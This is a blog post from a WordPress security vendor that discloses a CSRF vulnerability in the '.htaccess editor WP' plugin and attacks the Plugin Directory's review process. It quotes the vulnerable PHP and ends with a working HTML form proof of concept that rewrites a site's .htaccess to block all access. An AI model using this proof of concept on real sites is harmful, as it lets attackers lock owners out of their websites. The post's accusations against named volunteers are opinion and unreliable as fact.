WordPress Plugin Review Team’s Review Fails to Catch CSRF Vulnerability Allowing Modification of .htaccess File
If you believe the top person behind WordPress, Matt Mullenweg, new plugins being added to the WordPress Plugin Directory are not being reviewed beforehand:
“Why couldn’t it be more like the plugin directory?” asked Mullenweg. “That has all the same potential issues and has been working pretty well. I’d like it to work just like the plugin directory, with direct access for authors, and most reviews being post-review vs. pre-review.”
Though in the post that is quoted from, from the WP Tavern (a news outlet barely disclosed to be owned by him), it was pointed out by Themes Team rep Ari Stathopoulo that wasn’t true:
Not to mention that, as far as I know, plugins don’t do post-reviews, they do pre-reviews the first time a plugin is uploaded and post-reviews for updates (which is exactly what happens in themes too).”
He also noted that plugin reviews are done is secret:
Theme reviews are public while plugin reviews are private and closed.
If Matt Mullenweg doesn’t know what is going on at that level, that is pretty problematic, since he appears to be the only person in the hierarchy who is above the team running the Plugin Directory and one of the two people that control that also is his apparent lackey.
Further conflicting with his claim there, is that the WordPress website prominently claims that somehow a part-time volunteer has reviewed 46,800 plugins:
Mika Epstein has reviewed 46,800 plugins for inclusion in the WordPress Plugin Directory.
That claim has been there been since at least November 3, 2019, when there were 54,477 plugins included in the directory.
The explanation of how one person could do that many reviews, which are supposed to include security reviews, is that they are not doing many of the reviews and are a fabulist.
If there is an example needed why the lack of proper governance is harming WordPress, this should be it.
Yet Another Brand New Plugin with a Vulnerability
If security reviews are happening, they continue to miss things they shouldn’t. As has happened repeatedly with our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities, yesterday the automated portion of that flagged for us the possibility of a serious vulnerability in a brand new plugin and a quick check confirms that it contains a vulnerability. That shouldn’t be happening as we have offered for years to provide the team running the WordPress Plugin Directory with access to those systems or help them to create their own, so these should have been caught during the security reviews already claimed to be being done. This time it involves a plugin named .htaccess editor WP.
The code flagged by our systems involved these two lines of code that could allow arbitrary content to be written to a file:
38 | $custom_htaccess = stripslashes($_POST['htaccess-file']); |
44 | fwrite($new_htaccess, $custom_htaccess); |
That comes from the file /views/view.php and the fuller view of the code shows the only security check being done before the arbitrary contents are written to the .htaccess file in the root directory of the website is to restrict direct access to the view.php file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | <<?php defined('ABSPATH') or die('Unauthorized Access'); $root_dir = get_home_path(); if(is_writable("$root_dir/.htaccess")) { $auth = true; if(isset($_POST['backup'])) { $backup = fopen("$root_dir/.htaccess.bak", 'wb'); $htaccess = file_get_contents("$root_dir/.htaccess"); $checker = fopen("$root_dir/.htaccess", "r"); $first_line = fgets($checker); if(trim($first_line) !== '#BACKED UP by .htaccess editor WP') { fwrite($backup, '#BACKED UP by .htaccess editor WP' . PHP_EOL); } fwrite($backup, $htaccess); fclose($backup); echo '<script> window.addEventListener("DOMContentLoaded", () => { document.getElementById("hewp-warning").innerHTML = "FILE HAS BEEN BACKED UP!"; document.getElementById("hewp-warning").style.color = "green"; });</script>'; } elseif(isset($_POST['restore'])) { $backup_file = file_get_contents("$root_dir/.htaccess.bak"); $htaccess = fopen("$root_dir/.htaccess", 'w'); fwrite($htaccess, $backup_file); fclose($htaccess); echo '<script> window.addEventListener("DOMContentLoaded", () => { document.getElementById("hewp-warning").innerHTML = "FILE HAS BEEN RESTORED!"; document.getElementById("hewp-warning").style.color = "green"; });</script>'; } elseif(isset($_POST['save'])) { $custom_htaccess = stripslashes($_POST['htaccess-file']); $htaccess = file_get_contents("$root_dir/.htaccess"); $backup = fopen("$root_dir/.htaccess.bak", 'wb'); fwrite($backup, $htaccess); fclose($backup); $new_htaccess = fopen("$root_dir/.htaccess", 'w'); fwrite($new_htaccess, $custom_htaccess); |
The file is called by the function hewp_views():
36 37 | public function hewp_views() { require_once plugin_dir_path( __FILE__ ) . 'views/view.php'; |
That function in turn is called when access the plugin’s admin page, which is limited to Administrators:
33 | add_submenu_page('tools.php', '.htaccess editor', '.htaccess editor WP', 'manage_options', 'htaccess_editor_wp', [$this, 'hewp_views']); |
Due to the lack of a check for a valid nonce, an attacker could cause a logged in Administrator to modify the .htaccess file without intending it, otherwise known as cross-site request forgery (CSRF).
That should have been picked up during a security review as it is easy to spot that and it involves the plugin’s base functionality, which has high security risk.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that. Other data providers often fail to really determine if the vulnerability has been fixed.
Proof of Concept
The following proof of concept will modify the .htaccess file to restrict access to the website, when logged in to WordPress as an Administrator..
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/tools.php?page=htaccess_editor_wp" method="POST"> <input type="hidden" name="htaccess-file" value="Deny from all" /> <input type="hidden" name="save" value="" /> <input type="submit" value="Submit" /> </form> </body>